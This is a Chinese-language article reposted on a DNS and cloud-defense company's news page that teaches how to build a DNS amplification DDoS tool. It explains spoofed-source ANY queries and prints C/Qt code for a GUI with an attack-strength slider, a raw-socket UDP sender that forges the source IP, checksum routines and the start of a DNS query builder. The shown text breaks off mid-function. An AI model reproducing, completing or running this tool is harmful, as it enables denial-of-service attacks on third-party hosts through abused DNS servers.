行业动态

防御吧作为15年知名老牌域名服务商,CNNIC和CANN双认证域名注册商,已经
持续为500多万个域名提供服务,包括智能DNS/自由转移/隐私保护等服务!
黑客教你如何用DNS放大DDoS分布拒绝服务攻击
2022-05-21 20:31:38 【


DOS攻击原理:发送大量的数据包消耗目标主机资源,使其无法正常工作。

DNS放大攻击的原理:伪造DNS数据包,向DNS服务器发送域名查询报文了,而DNS服务器返回的应答报文则会发送给被攻击主机。放大体现在请求DNS回复的类型为ANY,攻击者向服务器请求的包长度为69个字节,而服务器向被攻击主机回复的ANY类型DNS包长度为535字节,大约放大了7倍。

本次实验实现的是DOS+DNS放大攻击,在传输层使用UDP协议,应用层使用DNS协议,程序有界面,接受用户输入,用户还能调节发包的速度改变攻击强度。

2.程序框图:


3.DOS+DNS简易界面的设计


添加5个文本框,用来接受用户输入的被攻击的ip,发送的端口,服务器ip,发送接口名称,查询的域名。

添加一个滑块用来控制攻击的强度。

添加两个按钮控制攻击的开始和停止。

核心代码是attack按钮槽函数的实现,接受输入,并调用攻击函数。

void Widget::on_attack_pushButton_clicked()

{

QByteArray dstipstr = ui->dst_ip_Edit->text().toLatin1();

QByteArray ifnamestr = ui->ifname_Edit->text().toLatin1();

QByteArray dnsipstr = ui->dns_Edit->text().toLatin1();

QByteArray domainstr = ui->Domain_Edit->text().toLatin1();

dosattack=

new DosAttack(dstipstr,ifnamestr,ui->port_spinBox->

value(),dnsipstr,ui->AttackLEVEL_Slider->value(),domainstr);

dosattack->start();

}

4.构造发送DNS报文


因为我们要伪造源IP,发送DNS请求,所以我们的报文应该从IP头部开始构造,一直到UDP报文的数据部分。这里分为两个部分,IP头部和UDP头部作为一个部分,UDP的数据即DNS报文作为一个部分。

(1)IP伪首部+IP头部+UDP头部



UDP包在网络传输的时候要计算校验和,需要用到IP伪首部,IP伪首部在网络中不传输,只用作校验和的计算。我们构造两个数据结构,udpbuf填充UDP头部包括IP头部、udpfhrd填充IP伪首部。核心代码在sendudp函数里填充数据,以及检验和checksum函数的实现。

//IP头部+UDP头部

struct udpbuf

{

struct ip iph;

struct udphdr udp;

};

//IP伪首部

struct udpfhrd

{

struct in_addr ip_src;

struct in_addr ip_dst;

char zero;

char protocal;

short len;

};

//检验和函数

unsigned short checksum(unsigned short * buffer, int size)

{

unsigned long cksum = 0;

while(size>1)

{

cksum += *buffer++;

size -=sizeof(unsigned short);

}

if (size)

{

cksum += *(unsigned char*)buffer;

}

cksum = (cksum>>16)+ (cksum&0xffff);

cksum += (cksum>>16);

return (unsigned short)(~cksum);

}

//udp发送函数

void sendudp(char *src_ip, char *dst_ip,int src_port,int dst_port, char * ifname,

char*data,int datalen)

{

int buflen = sizeof(udpbuf)+datalen;

char buf[buflen];

struct udpbuf *ubuf = (struct udpbuf *)buf;

struct sockaddr_ll toaddr;

struct in_addr targetIP,srcIP;

struct ifreq ifr;

int skfd;

if ((skfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)

{

exit(1);

}

bzero(&toaddr, sizeof(toaddr));

bzero(&ifr, sizeof(ifr));

memcpy(ifr.ifr_name,ifname,strlen(ifname));

ioctl(skfd, SIOCGIFINDEX,&ifr);

toaddr.sll_ifindex = ifr.ifr_ifindex;

ubuf->iph.ip_v = IPVERSION;

ubuf->iph.ip_hl= sizeof(struct ip)>>2;

ubuf->iph.ip_tos = 0;

ubuf->iph.ip_len = htons(buflen);

ubuf->iph.ip_id = 0;

ubuf->iph.ip_off = 0;

ubuf->iph.ip_ttl = MAXTTL;

ubuf->iph.ip_p = IPPROTO_UDP;

ubuf->iph.ip_sum = 0;

inet_pton(AF_INET,dst_ip,&targetIP);

ubuf->iph.ip_dst = targetIP;

inet_pton(AF_INET,src_ip,&srcIP);

ubuf->iph.ip_src = srcIP;

ubuf->iph.ip_sum = checksum((unsigned short *)(&(ubuf->iph)),sizeof(struct ip));

ubuf->udp.source = htons(src_port);

ubuf->udp.dest = htons(dst_port);

ubuf->udp.len = htons(sizeof(struct udphdr) + datalen);

ubuf->udp.check = 0;

memcpy(buf + sizeof(struct udpbuf),data,datalen);

int csbuflen = sizeof(struct udpfhrd)+sizeof(struct udphdr)+(datalen % 2 == 0?datalen:datalen + 1);

char checksumbuf[csbuflen] ;

struct udpfhrd * fhrd = (struct udpfhrd *)checksumbuf;

fhrd->ip_dst = ubuf->iph.ip_dst;

fhrd->ip_src = ubuf->iph.ip_src;

fhrd->zero = 0;

fhrd->protocal = ubuf->iph.ip

_p;

fhrd->len = ubuf->udp.len;

memcpy((checksumbuf+sizeof(struct udpfhrd)),&(ubuf->udp),sizeof(struct udphdr)+datalen);

if(datalen % 2 != 0)

{ checksumbuf[csbuflen-1] = 0;}

ubuf->udp.check = checksum((unsigned short *)(checksumbuf),csbuflen);

toaddr.sll_family = AF_INET;

sendto(skfd, buf, buflen, 0, (struct sockaddr *)&toaddr, sizeof(toaddr));

close(skfd);

}

(2)DNS报文部分



同样构造一个数据结构 dnshdr来填充DNS报文,注意放大攻击的请求类型是ANY。

这一部分的核心是在DNS发送函数SendDns填充数据,以及查询名的转化,在DNS报文里查询名的存储格式是3www5baidu3com,用户提交的数据格式是www.baidu.com。

//DNS前12字节

struct dnshdr

{

unsigned short id;

unsigned short bz;

unsigned short wtcount;

unsigned short zyCount;

unsigned short sqCount;

unsigned short ewCount;

};

//DNS可变部分

struct questtype

{

unsigned short dnsType;

unsigned short dnsClass;

};

//sendDns函数,函数最后调用sendudp函数,将数据整合到sendudp函数中。

void SendDns(char * ifname ,char * srcf_ip,unsigned short src_port, char * dns, QByteArray domain)

{

QList <QByteArray> domainlist= domain.split('.');

QByteArray domainName;

for (int i = 0; i<domainlist.length();i++)

{

domainName += domainlist.at(i).length();

domainName += domainlist.at(i);

}

domainName += '\0';

int bufflen = sizeof(dnshdr) + domainName.length() + sizeof( questtype);

char buf[bufflen];

struct dnshdr * dnsh;

struct questtype * qtype;

dnsh = (struct dnshdr*)buf;


】【打印关闭】 【返回顶部
分享到QQ空间
分享到: 
上一篇卡内基梅隆大学软件工程研究所的.. 下一篇Zyxel 防火墙命令注入漏洞

立足首都,辐射全球,防御吧专注云防御及云计算服务15年!

联系我们

服务热线:010-56157787 ,010-56159998
企业QQ:4000043998
技术支持:010-56159998
E-Mail:800@fangyuba.com
Copyright ? 2003-2016 fangyuba. 防御吧(完美解决防御与加速) 版权所有 增值许可:京B2-20140042号
售前咨询
公司总机:4000043998 01056155355
24小时电话:010-56159998
投诉电话:18910191973
值班售后/技术支持
售后服务/财务
备案专员
紧急电话:18610088800